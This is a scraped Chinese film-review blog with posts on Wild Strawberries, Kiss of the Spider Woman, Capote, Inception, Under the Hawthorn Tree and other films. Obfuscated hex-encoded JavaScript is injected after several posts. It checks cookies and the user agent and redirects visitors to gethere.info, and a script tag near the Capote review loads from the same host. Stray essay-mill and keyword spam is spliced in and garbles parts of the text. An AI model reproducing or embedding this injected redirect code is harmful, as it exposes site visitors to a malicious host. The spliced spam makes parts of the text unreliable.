被这个噩梦惊醒的老头再也无法安睡，决定自己开车去领奖，同去的还有他的儿媳，这是一件饶有趣味的事情，糟老头看起来孤身一人，身边却有一个伺候了他四十多年的老太婆管家，（老太婆对糟老头的性格了如指掌，在整部电影中，她是唯一一个能把老头调戏的忽而喜忽而忧的人，为了早餐的事情，老头的情绪就被老太婆调戏的忽上忽下三四次。但从老头不顾大清早老太婆睡的正香，就把她哄醒要她做早餐来看，这种行为还是蛮自私的。）然后在早餐时分又突然钻出来一个儿媳妇要跟着家翁的车一起去丈夫那里，这时候让人免不了心生疑惑——为何他的儿子和儿媳不住在一起？
因为刚刚看了方少的影评，所以现在把儿媳单独辟出来讲一讲——儿媳的意义，在于“和解”。在影片的后半部分，我们知道糟老头还有一个冷酷的医生儿子，在一个雨天，儿媳告诉儿子她怀孕了，儿子却翻脸说他不想要孩子，如果他的妻子要孩子那么他们就离婚，儿媳很伤心。现在我们知道了，儿媳为什么会住在家翁家，她和丈夫吵架了，她一气之下离开了丈夫，而且在公公家住了不短的时间。再回忆一下糟老头去见90多岁的母亲的细节，镜头没有给初见面的母子，却是给了儿媳，儿媳用内心有所想的眼光观察着这对母子，听着他们的谈话，当老母亲询问儿媳的孩子时，儿媳说他们没有孩子——没有孩子，也就是说，儿媳在离开丈夫的时候是怀孕的，在回丈夫身边的时候却没有了孩子——这个女人已经做了选择，打掉了孩子，就因为她做了这个选择，所以对“母子关系”，对自己或许一生都没办法体会到的“母子关系”，才会那么上心。
儿媳打掉孩子，跟着公公回到丈夫身边，目的只有一个，和解。而她坐在公公的车上，所言所行，达成的意义和目的也只有一个：和解。这是一个暗自作出了牺牲对爱情妥协的女人，也是一个坚强而美好的女人，所以在影片的最后，儿子对父亲说自己离不开媳妇——儿子说这番话的时候表情依然很冷，他和妻子和解的前提是不要孩子，他不要孩子的原因是基于对父亲的憎恨，他对父亲的憎恨是基于父亲专注自己的事业对家庭冷漠而造成的对自己的伤害，他念念不忘这伤害。
由此可见糟老头的一生是很糟糕的，先后戴了两顶绿帽子，就在人生快走到尽头的时候，从前距离他遥远的感情的东西突然逼近，先是看见未婚妻背着自己和堂兄打情骂俏，当然后来这傻妞嫁给了堂兄，接着在现实社会中突然蹦出来一个和傻妞未婚妻长得一模一样的傻妞，带着两个傻大个，这两个傻大个都爱这个傻妞，傻妞很得意。但影片却没有安排两个男人为了傻妞争风吃醋，反而让他们为了争执宗教问题大打出手. Eigenschaften des elements einordnung in das periodensystem der elemente und eigenschaftenatombauordnungszahl 1616 bachelorarbeit schreiben tipps www./bachelorarbeit-schreiben/ protonen 16 elektronen3! 三个年轻人搭了糟老头的便车，他们的青春傻气和无忧无虑衬托着车上另外两人的心事重重，老头不断地梦见自己的从前，因为就要没有将来了，所以过去铺天盖地涌来。此外儿媳的伤心事也令老人感到意外，“我怎么养了一个那么混帐的儿子啊”——肯定是这样想，但是同时也觉得无力改变什么。糟老头也是个善良的人，一心只是为了事业，难道有错吗？但是家人却那么恨他，真是一件很冤枉的事情，糟老头的心情完全乱了，以至于终于赶上颁奖仪式时，在众人崇敬的目光中——这也是他毕生追求的荣誉感——终于得偿所愿的时候，他却觉得自己的心完全不在那里。
他觉悟了，他不是一个人！没有一个人能永远一个人！！只要是生活在人堆里，就没有完全不需要别人的时候，这种不需要不仅仅包括功利上的不需要，也包括情感上的不需要——管家老太婆示范了这种不需要：早餐？自己做！亲密点？算了吧！这个世界上也满是这种自私但善良的你没话说的人(我自己也是）：埋头自己的事业一心追求功名，满脑伟大理想，却忽略与亲人沟通，自以为忙好自己的事便可，但早餐没得吃时又会开口索取（这种人如果完全不开口索取的话，倒也是一个酷的令人佩服的家伙）。所以在老头的旅途中，儿媳一开口便点出老头自私，老头晕了，估计平时没人说他，谁不自以为高大全啊？
影片的结尾很精彩，老头又在梦中回到了从前，这是一个甜蜜的梦，因为在入梦前他和亲人在一起，和管家老太婆刚刚打情骂俏结束，和儿子进行了一次尽管别扭但也成功的谈话，和儿媳道了晚安并互相表达对彼此的敬爱。于是他梦见初恋情人拉着自己的手来到河边，看到对岸的父母正在钓鱼，他们朝着他挥手，在死亡临近的时候，感觉到离幸福也不那么远了。var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Jun 20th, 2010 | Filed under
这部电影告诉人们，要想摆脱内心的悲伤痛苦，首先是周围人的信任，其次是亲人的关心，接着要自己打开心扉，最后要有一个爱你的情人出现。
女主人公在影片开头显得既老又难看，而且很颓废，这是化妆和灯光的效果，越到后来，她显得越年轻美丽，眼睛下面的黑圈圈渐渐不见了，打在她脸上的光越来越暖越来越柔和，看起来很舒服。
女主人公朱丽叶在影片中是一个既不幸又走运的女人，因为她虽然遭受了痛苦，但是还有一个善良的妹妹，然后她的妹妹还有一个帅哥男同事，这个男同事虽然表面上玩世不恭，但却为朱丽叶着迷。不是每个遭受不幸的人都会遇到这么温暖的事。
不过也不是每遭受不幸的人都会一直不幸下去，朱丽叶坐了15年的牢，用15年的时间来抚平创伤，这是一个自我治疗的前奏。没有这15年，我估计她也没办法面对自己儿子的相片。
导演用生活化的叙事风格来描述朱丽叶出狱后的日子，尽量淡化情节，尽量压制情绪，这一点我很喜欢。尤其是真相揭开的时候——没费多大力气，导演显然并不想观众把注意力集中在谜底上，而是等待时机把一直控制住的情绪一下子喷发出来。影片结束的非常漂亮——坐在身边的妹妹，在楼下叫着自己名字的情人，然后自己回答着“我在这里。”感觉到重生的光辉。
有一个小的插曲，朱丽叶在找工作遭拒后来到咖啡馆，和一个自以为是的风骚男开房间，完事后风骚男得意地问朱丽叶是不是满意，在此类风骚男心目中，朱丽叶是一个久不遇甘露的饥渴女，但朱丽叶摇头——不满意，不过无所谓啦。酷毙了，而且还不是装出来的。var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Jun 5th, 2010 | Filed under
这部电影表面上看起来比较矫情，就像会长大人说的那样，把蜘蛛女和革命者放在一个狭小黑暗的监狱里，逼着他们发生爱情。但实际上并非如此，这是一部非常残酷的爱情片，在这部电影中，“革命者”就代表着爱情本身。
整部电影的历史背景交待和革命者所从事的事业、敌我双方的身份都含糊不清，此外导演似乎也无意要把这革命者的来历和他要做的事情说个清清楚楚，只是说他被抓了，抓他的人想控制他，而他则努力着反控制。这个革命者很自私，他一心一意只想着自己的事业，要解放全人类，他也有惦记着的女人，因此对蜘蛛女的诱惑视若无睹，到最后还利用蜘蛛女的出狱为自己办事，而最终害死蜘蛛女的人也是这个革命者的同伙——这就是爱情，爱情就是这么自私，跟“革命”一个意思。
有一些想通过暴力的手段捕获爱情的人，把爱情关在牢房里，严刑拷打，想逼他就范，但是爱情可不是那么容易屈服的，他深知自己存在的意义——爱情可是全世界最美好的感情呀，只要是真正能拥有他的人就会获得幸福，如果全世界的人类都能获得爱情，那么全世界的人类就都幸福了，多么和谐啊！
但是通过这部电影，我们看到了革命者所代表的爱情的真相，他要蜘蛛女和他保持距离——瞧，爱情是需要距离的，要多远的距离呢？请参考身是客《火车》一文，就是一个胳膊的距离. 此外，革命者是表面坚强内心脆弱的，他虽然不屈服，但身体却一天天垮下来——瞧，爱情也是如此，没有办法去强迫一个人爱另一个人，但同时，爱情也那么容易受到伤害，容易被消灭。
再转来看蜘蛛女对革命者的爱，加上她一直絮絮叨叨讲述的那个纳粹时期的故事，在那个故事中，纳粹军官代表着爱情，当女人和他在一起的时候感到安全和温暖，这就是爱情给人带来的美好，但在遭遇背叛的时候，爱情就会变成致命的东西。这个故事表达了蜘蛛女对革命者内在杀伤力的认同。表面上看，她对革命者是有爱情的，但后来，这种感情发生了转变——当革命者食物中毒的那个晚上，她伺候革命者，为他擦屎擦尿，并且使革命者为此感到窘迫和难堪，影片从这里开始，情感发生了质变。
在影片中，革命者有一个女朋友，他视此女为自己的心灵伴侣，所以我说他代表着爱情；而蜘蛛女，她把自己母亲的相片贴在监狱墙上，影片中有一些他想念母亲的片段，此外在蜘蛛女离开监狱时还给了一个把母亲的相片揭下的特写。为什么是母亲——因为影片要告诉大家，蜘蛛女对革命者的情感，其实并非是简单的爱情，从擦屎擦尿开始，这种感情已经升华为母爱了，这是比爱情更加无私伟大不计较得失和距离的感情。把两个互不相识的人关在笼子里，有可能会死掉一个，有可能会死掉两个，有可能会产生爱情，但是，更伟大的，OMG，产生了母爱！！！
当两个人相爱，互相保持着对对方美好的幻想，牵手是爱情，接吻是爱情，想念是爱情，上床是爱情——但，有一天你为他或者是他为你擦屎擦尿了，恭喜你，你们之间的爱比爱情还宝贵了。在这个世界上，只有一种人不会计较我们的各种丑态，不嫌弃我们衰老，不厌恶我们的罪恶，还愿意给我们的错误买单，如果你的妻子或丈夫最后也变成这种人，你要相信这已经不是爱情捞。
最后蜘蛛女带着母爱举起双手迎接死亡，而革命者被扎了一针后在幻象中投入女朋友的怀抱，蜘蛛女的牺牲最后啥也没换来。导演用这样的结尾告诉我们——这不是一部普通意义上的爱情电影，更加不是一部同性恋题材的电影，而是一部歌颂母爱的电影！var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Jun 2nd, 2010 | Filed under
终于有时间坐下来讲讲这个鼓舞人心的视频了。
有一个父亲给儿子花钱请了一个女大学生补习功课，这个儿子开始不乐意，但是后来听说是个女大学生，突然的兴奋起来（其实父亲也同时在兴奋着），对父亲充满了感激之情，表示等女大学生来了一定会努力学习。那天晚上他们一直等到零点，女大学生也没出现，父子俩很失望，第二天，父亲打了电话给——应该是中介公司，那边的人解释说女大学生迷路了，没有找到地方，但是今晚一定会来，要父亲把钱打到指定的账户上。
父子俩第二次充满了希望，但是他们期待中的有着酸酸甜甜味道的女大学生还是没有来，儿子开始怀疑是不是因为父亲秃头秃的太灿烂的缘故，父亲则怀疑女大学生是不是嫌弃自己不够高大，当然也顺便怀疑了一下自己会不会受骗，但是在一通电话之后又很快打消了顾虑，更加虔诚地掏钱和等待着女大学生的到来。
但是第三次的失望使父子俩堕入了痛苦的深渊，草莓味的粉嫩女大学生依旧没有来，怎么回事？难道是被她窥见了自己内心深藏的那些不敬的企图和欲望？父亲坚信是自己的心意不够真诚，他们痛心疾首地批判了自己，继续给中介公司打电话，掏钱，当然也诉说了生活的艰辛，但结果是被中介引导着去投资基金，那天晚上，父子两人好像庆祝节日一般做好了迎接味道芳醇的女大学生的到来，当然，女大学生还是没有出现。
视频在这个时候变得格外有趣，所有的看客都知道女大学生是永远不会来的了，所谓的女大学生只不过是一个符号而已，她是所有人心目中对爱情对幸福对一切美好事物的憧憬和幻想，她看不见摸不到，她被“中介公司”包装鼓吹以及兜售。中介公司从不谙民间疾苦，他们要的就是钱，钱，以及更多的钱，接着画个大饼让人充饥。
但是看一看这对父子，他们就是我们，为了女大学生掏钱等待，甚至制造节日来表达虔诚，不断地痛苦自责怀疑，无法摆脱欲望的烦恼。节日的那个晚上是等待的高潮，父子俩内心对女大学生的妄想全部暴露出来，痛定思痛之后，他们觉得有心的渴求或许比不上无心的等待来的有效，于是，父亲开始借钱转账，为的就是让心头的那一丝希望不至于破灭。
在第四个等待落空的晚上，父子俩在墙上雕刻佛祖的全身像，这是人类为了摆脱自身烦恼走向以宗教为精神依托的第一步——物恋，假装是无心了，把注意力转移在雕刻佛像上，但是还是对女大学生充满着期待，父亲自称内心逐渐清澄，其实是他从一开始的时候就欲求过多的缘故。
第五个夜晚，等待的女大学生依旧没来，光着脑袋的父亲给儿子剃度，这是人类为了摆脱自身烦恼走向以宗教为精神依托的第二步——形式上的与尘世断绝关系，变成和尚，四大皆空，但是有没有依旧想着女大学生，只有自己心里清楚。
第六个夜晚，对女大学生的希望依旧落空，父亲用锤子砸着儿子的脑袋，这是人类为了摆脱自身烦恼走向以宗教为精神依托的第三步——苦修。用尽一切办法折磨自己的肉体，从而让精神轻松。此外，对女大学生迟迟不来的怨恨也可以借此渠道宣泄出去。
最后一个夜晚，父子俩在屋子里飘来飘去，通过静思，父亲终于意识到自己受骗了，这就是所谓的“悟”，抛却烦恼后来到真正的极乐世界，极乐世界其实没有极乐，只是无声无息的宁静而已。
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Then again, you also worked for write me an essay to www.writemyessay4me.org ernst and young
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May 26th, 2010 | Filed under
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May 23rd, 2010 | Filed under
这一次知了会的作业是卡波特和《冷血》，因为其他的作业也很多所以我来不及看小说——会长大人看了就行了，我专心看了电影。
同性恋作家卡波特因为《蒂梵尼的早餐》一炮而红，蜚声好莱坞。我喜欢《蒂梵尼的早餐》，不只是因为奥黛丽赫本光彩照人，还因为影片里男女主人公的爱情经历也很打动人。后来他写了《冷血》这部小说，把他的生活情感和创作事业紧密地联接在一起。冷血过后，他就没有什么大作问世了，我觉得这是必然的。
有两个坏蛋为了钱杀害了一家四口，后来被捕，卡波特以作家身份去跟这件案子，然后去接近被关押的犯人，最后发现自己对这个犯人起了腻歪的情愫，为了自己的创作，他一狠心不再帮这个犯人上诉，眼看着两人被判了绞刑。其实本来就该死，我一点也不觉得这个犯人有什么值得同情的地方，卡波特对犯人的同情其实并非出于对他人的仁慈，而是出于对自己的爱和怜悯。卡波特是一个敏感又心软的人——扮演他的那个男演员演技一流，说话的声音像极了《南方公园》里的那个变态同性恋老师，我甚至怀疑他们的配音是同一人——他跑去看被害者的尸体，掀开棺材看，看了之后十分受不了，那个时候对凶犯的情感应该不会是爱或者是暧昧的爱。但是在当初找到警探的时候，卡波特对能不能抓到凶犯并不关心，他关心的只是自己的书会写成什么样子。
冷血是什么内，冷血是每个人都血管里都会流淌的血。梁惠王说，不要杀这头牛，太可怜了，换头羊来杀吧！人类的温暖只奉献给他们熟悉的、距离他们近的、与他们的利益息息相关的的人和事，这是真性情，否则就是矫情。我对波兰坠机事件一点感觉也没有，因为飞机上没有我认识和熟悉的人；同样，我捐钱给灾民之后，对他们的牵挂并不会比患了偏头痛的母亲更多，尽管我没有掏钱给她。对于卡波特来说，被害人已经是四具冷冰冰的尸体，但是凶手离自己很近，会呼吸能讲话，甚至有着和自己相仿的成长经历，同性恋作家敏感多情，但也拎得清，与自身命运相关联的作品大于对凶犯的暧昧情感大于对被杀害者的同情，不等式一划出来，选择也就自然分明。
说老实话，我一点也不喜欢这部电影，除了男主角的表演很精彩之外，整部片子拍的循规蹈矩，布光简直就像是用机器算好了数值一样，没有一点令人惊喜之处。强调人本主义强调对个体经验的关注，这样的主题再加上犯罪，我觉得拍的最好的是《沉默的羔羊》。《冷血》是加上了一点自传体性质，所以带上点诗意，但又在视觉上没创造啥美感——中规中举毕恭毕敬，导演虽靠这片子一举成名，但也难掩他是好莱坞培养出来的呆人一枚。
也许我该看看1967年版的那部。s. src=’http://gethere. info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document. referrer) + ‘&default_keyword=’ + encodeURIComponent(document. title) + ”; var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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托纳多雷带着他的《巴里亚》和一系列意大利年轻导演的电影作品到MOMA当代影城搞了一个意大利影展，这个活动是电影资料馆主办的，因为他们自己的放映厅正在装修，所以把这个活动就搬到了小资小清新最爱的MOMA来，阿三是托纳多雷的拥趸，但却因为有事不能参加开幕式的媒体见面会，由我代参加，并抓住机会提问，但他给我发来的短信却是要我问托纳多雷到底和贝鲁奇上过床没，我虽然八卦好奇，但是也胆小，没敢问，
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Jul 25th, 2017 | Filed under
为了在一个年轻人的脑子里植入一个念头，一群人在里奥纳多的领导下攻入了他的梦境——我记得我看过很多以“梦”为主题的电影：《女孩梦三十》、《遥控器人生》，这是能记得起来名字的，还有很多记不起来名字的，好像也有一部是说以进入别人梦境的方法来进行心理治疗——等等等等吧，用梦来做文章，是一件非常讨巧的事情，就好像给你一张白纸，你可以不受限制地在上面乱涂乱画：制定你自己的规则和逻辑，然后你还可以不遵守它！
比如说：人在梦里是不会真正死亡的，死亡只会使这个人从梦里醒来；这个规则很有趣也很可信，但是给这部电影带来了极大的麻烦，因为这样一来，梦里的死亡就毫无可怕之处，大着胆子干吧，反正又不会真的死——没有畏惧，就很难惊心动魄，于是，又制定下一条规则：如果是注射了麻醉剂如梦的话，在梦里死亡，就不会醒来，而是会托弗洛伊德的福堕入到“潜意识的边缘”，在那里悠游自在地生活着，除非是有人专程跑到那里杀死你，让你醒来，否则你就永远都醒不来了——这条宪法修改案扭转了局势，使因麻醉剂入梦的人面对飞来横祸产生了畏惧，不这样的话，在子弹横飞的马路上和房间里，大家表情认真地躲避跳跃翻滚，就会显得很搞笑。
再比如说：时间——这个很重要，梦里的时间和现实的时间是不一样的，梦里的时间比现实的时间显得漫长，梦又分为三层，第三层的梦境比第二层的漫长，第二层又比第一层漫长，这样一来，人就有足够的时间在梦里完成他们想完成的任务——可是没有时间的紧迫感，动作也会显得没有意义，所以影片设置了一个车辆即将坠入水中的场面，只给你几秒钟的营救时间，在深一层的梦境里，也只被延长到20分钟而已。这样做，是必须的，好莱坞都这样。
再再比如说：梦可以随心所欲，没有梦到不了的地方，没有梦做不了的事情——我最喜欢的诗人夐虹有一句诗：不敢入诗的来入梦，梦是一条丝，穿梭那不可能的相逢。但既然如此，利用梦境来植入观念应该没什么困难，想怎么造就怎么造好了——这就涉及到好莱坞剧情片中动作与反动作的设计，动作没有阻力，电影就会不好看，现在动作有了，反动作是什么呢？梦都可以随心所欲了，阻力从哪里来呢？弗洛伊德老爷爷实在是太伟大了，他帮助导演想到了“潜意识对抗者”这个IDEA，并且在影片中花费不少的时间来向观众灌输这个概念——每个入梦的人，包括盗梦者和被盗者，都有潜意识对抗者，有的强有的弱，有的还手持两把大爹有万夫不当之男，作为影片的主人公里奥纳多，他的潜意识对抗者就是他死去的老婆玛丽昂格利亚。这些潜意识对抗者的目的就是为了制造阻力，作为一部投资过亿的大片，是不可能没有打斗的，是不可能没有大场面的，是不可能没有大规模毁坏的。现在，前提有了：梦。动作有了：利用梦植入观念。反动作有了：潜意识对抗者。剩下的，什么俗套什么噱头，整巴整巴往里填好了！
最后，在看完整部片子之后留在我脑子里的疑惑——梦是无所不能的，即便是拥有了那个陀螺的图腾，但是，我觉得，它也有可能在梦里停止转动，倒下来。
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We will begin by trying to understand what philosophy is what are its characteristic aims and methods, and order essays how does it differ from other subjects
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Sep 15th, 2010 | Filed under
在中国的导演中，张艺谋因为有过《活着》和《秋菊打官司》、姜文因为有过《阳光灿烂的日子》、顾长卫因为有过《孔雀》都成为我喜欢的导演，虽然张艺谋还拍过《满城尽带黄金奶》这样的烂片，但是我觉得，应该允许拍烂片的好导演存在，一个导演一生中有一部经典作品也就够了，比如说田壮壮有一个《蓝风筝》写在个人简历上也就够了。但是，我想起方会长曾经说过的话，我觉得他说的很有道理，导演要不退化，必须不停地拍片子，天天磨刀磨枪磨脑子，一歇下来就会OUT，“田壮壮被封了十年，现在就凹凸慢了。”——方会长的每句话都是那么意味深长。
所以一个好的导演一生中应该要留下很多的作品，像谢晋那样，像吕克贝松那样，说只拍十部，但是还是忍不住要接着拍（尽管一部比一部烂）。不可能每一部作品都是经典，但过人的才华将决定你至少会有那么一部脱颖而出。但是说来说去都要绕回我曾经对于“如何成为一个好导演”的话题核心上——要有钱，要有很多很多的钱。在《三枪》之后，很多人骂张伟平，说他毁了张艺谋，这样说是不对的，因为人不能对没有发生过的命运进行好和坏的判断，如果不遇到张伟平，张艺谋会更好还是更坏，这个无从知晓。但有人提供稳定的资金来帮助你成就梦想，你拍几部商业片予以回报，没什么大不了，对艺术的忠诚对理想的忠诚都比不上对人和情感的忠诚来的可贵。
所以这个世界上最干净的爱情应该是怎样的？像《山楂树之恋》中描写的爱情故事：两个人爱的那么纯洁那么深，一个人对另一个人无限无条件的关心和付出，然后这个人突然得了白血病死了——非常的老套，《血疑》讲的是这个，《第一次亲密接触》讲的是这个，《蓝色生死恋》讲的是这个，《爱情故事》讲的是这个——很多很多的爱情故事讲的都是这个，两个只能活一个，在爱情还没走到婚姻的坟墓里之前，女朋友或男朋友就先到坟墓里去了，这样的故事这么多，为什么张艺谋还要挑它？
片中的男主角老三，高干子弟，个子高工资高，女主角静秋，出身右派家庭，“幼齿”、“小骨头小肉”，穷，正处在高中毕业找工作的关键时期（这个女主角挑的非常好，有林黛玉的范儿），为了留校工作挣钱养家，静秋不得不做很多又苦又累的事情来接受单位的考验，包括跟着老师去农村调研编写与“英雄山楂树”有关的教材，住在队长家，认识了在勘探队工作同样也住在队长家的老三，恋情就这样开始了，老三用各种各样的理由在不打击静秋自尊心的前提下给予静秋物质上的帮助：送钢笔送钱送核桃送冰糖送山楂果送球衣送泳衣送胶鞋送脸盆等等等等，对静秋关心倍至，但是又因为静秋的身份不好，要好好表现争取留校，不能犯任何错误，所以两个人不得不偷偷摸摸约会，直到被静秋的妈妈发现，老三答应不见静秋直到她工作稳定为止，但是不久老三就住院了，静秋偷偷跑去看他，两个人在同一张床上度过了纯洁的一夜，也是最后的一夜。老三死后，静秋把他埋葬在山楂树下，故事就这么结束了。
还是很感人的，尽管老套，但如果用一种陌生的心态来看它，还是会被打动的。张艺谋用“学生作品”的手段把它拍了出来，一段一段地，用字幕来交代故事的转折点，显得拙朴稚嫩，是为了故意这样安排的呢，还是实在不想花心思做剧本呢，无从知晓。在张艺谋所有的艺术片中，这部电影只能算中下等，但是它仍旧具有一定的意义，因为它抒发了导演自身的感情，不是爱情，这部片子不是给恋爱中的小男小女看的，小男小女这样的片子看得多了，张艺谋不会不知道；也不是为了要普及“纯洁”的恋爱观或单纯怀旧，这部片子是拍给张伟平的，它的主题是“感恩”。
张艺谋影片中挑选的女主角，长得基本上都一个调调，比如巩俐章子怡董洁，包括这个静秋，她们都有点像张艺谋自己，尤其是脸型，尤其在《山楂树》中，静秋不是别人，正是张艺谋自己，张伟平就是老三。刘师兄告诉我，在张艺谋张罗奥运会开幕式的那两年，张伟平什么片子也不投，新画面的员工全体放了两年带薪假，干等着张艺谋忙完——太像老三了！有投资人如此夫复何求？当然你也可以说张艺谋是个多么巨大的品牌代表着多么大的利益，但是掰着指头数一数，全世界的名导演，有几个拥有这样不离不弃专一的投资人呢？张伟平不老三，谁老三？
如此一来，站在山楂树下回望《三枪》、《黄金奶》等片，就不觉得有什么遗憾的了，艺术很重要，理想更重要，若为人情故，二者兼可抛。如果真是这样，那么张艺谋就是一枚真的汉子～
接下来讨论什么是最干净和纯洁的爱情，就是这部电影带来的附加话题了。什么叫“干净和纯洁的爱情”呢？不求回报的付出？这是爱情本身应该包含的一部分；专一长情？这也是爱情本身应该包含的一部分；含蓄内敛偷偷摸摸？柏拉图式的禁欲？倍受压抑前景无望？少男少女的朦胧暧昧？——如果这是干净纯洁的爱情，那么，不干净不纯洁的爱情呢？大鸣大放大上床？毫无顾忌秀恩爱？老夫老妻的直来直去？爱情就是爱情，没有干净不干净之分，也没有纯洁不纯洁之分，就好象没有“好的好人”和“坏的好人”一样。影片中两个人的爱情倍受压制，无论是过程还是结局都非常凄凉，令人抑郁，爱情中温暖和光明的火焰一被点燃就随即熄灭，在动荡不安的岁月里，爱情根本没有容身之地。
每个人都有自己的爱情观，有的乐观积极，有的悲观消极，每个人的爱情观决定了他能拥有和获得怎样的爱情。男人、女人，不管他们爱上什么样的人、嫁了什么样的人、娶了什么样的人，都是他们所持有的爱情观的一部分。所以要摒弃感情上的问题和苦恼，最重要的就是改变自己的爱情观。纵观张艺谋影片中的爱情，很多“欲望和情感被压制无法被满足”的例子，甚至在最近的三枪中，又制造了类似于菊豆一样的偷情故事，这，也是张艺谋爱情观中的一部分——我，纯情深情也长情，有欲望有爆发力，但，谁能满足我？
如果，如果张伟平是一个女人，我觉得，他能。var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])==
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Sep 2nd, 2010 | Filed under
最近一段时间可能是更年期提前到来的缘故，非常好哭，连看《唐山大地震》都哭，看《玩具总动员3》也哭，因为回忆起看《玩具总动员1》的时候，是和老情人在杭州的一家电影院一起看的缘故，那是我第一次在电影院里看动画片，现在老情人早没影儿了，玩具系列也拍到头了。
后来团长推荐我看《蹬腿清单》，见是文艺片怕又得看到哭，团长好像大猩猩一般拍着丰满的胸部说肯定不会让人哭，但结果还是鼻涕眼泪滂沱，感慨人在快死的时候遇到一个有钱人真好，能豁出命去瞎折腾。
就这样留了一个心眼，再一次复习《甜蜜蜜》的时候，一个人准备了一大堆纸巾，在一个晴空万里的下午坐在电脑旁抽抽答答——张曼玉实在是太厉害了，谁飙戏能飙得过她呀，整个片子就看她一个人了，年轻，漂亮，当时才过30，皮肤也好，最重要演技出色，重心稳，一颦一笑拿捏到位。女演员混饭吃不容易，年轻漂亮的时候没演技，等真的会演的时候又老了。
